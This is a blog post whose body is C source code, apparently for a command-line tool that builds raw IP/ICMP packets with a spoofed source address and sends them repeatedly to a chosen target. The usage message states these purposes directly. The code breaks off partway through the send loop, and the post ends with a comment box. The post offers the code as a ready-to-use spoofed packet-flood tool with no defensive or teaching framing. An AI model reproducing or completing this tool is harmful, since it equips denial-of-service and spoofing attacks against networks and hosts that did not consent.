Source code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <string.h>
#include <arpa/inet.h>
int main(int argc, char *argv[]) {
int s, i;
char buffer[400];
struct ip *ip = (struct ip *) buffer;
struct icmphdr *icmp = (struct icmphdr *) (ip + 1);
struct hostent *host_db_entry, *host_db_entry_2;
struct sockaddr_in destination;
int offset;
int on;
int num_of_try = 100;
if (argc < 3) {
printf("\nUsage: %s <saddress> <destinationaddress> [number]\n", argv[0]);
printf("- saddress is the spoofed source address\n");
printf("- destinationaddress is the target\n");
printf("- number is the number of packets to send, 100 is the default\n");
exit(1);
}
if (argc == 4)
num_of_try = atoi(argv[3]);
for (i = 1; i <= num_of_try; i++) {
on = 1;
bzero(buffer, sizeof(buffer));
if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket() error");
exit(1);
}
if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
perror("setsockopt() for IP_HDRINCL error");
exit(1);
}
if ((host_db_entry = gethostbyname(argv[2])) == NULL) {
if ((ip->ip_dst.s_addr = inet_addr(argv[2])) == -1) {
fprintf(stderr, "%s: Can't resolve, unknown host.\n", argv[2]);
exit(1);
}
No comments:
Post a Comment
Note: Only a member of this blog may post a comment.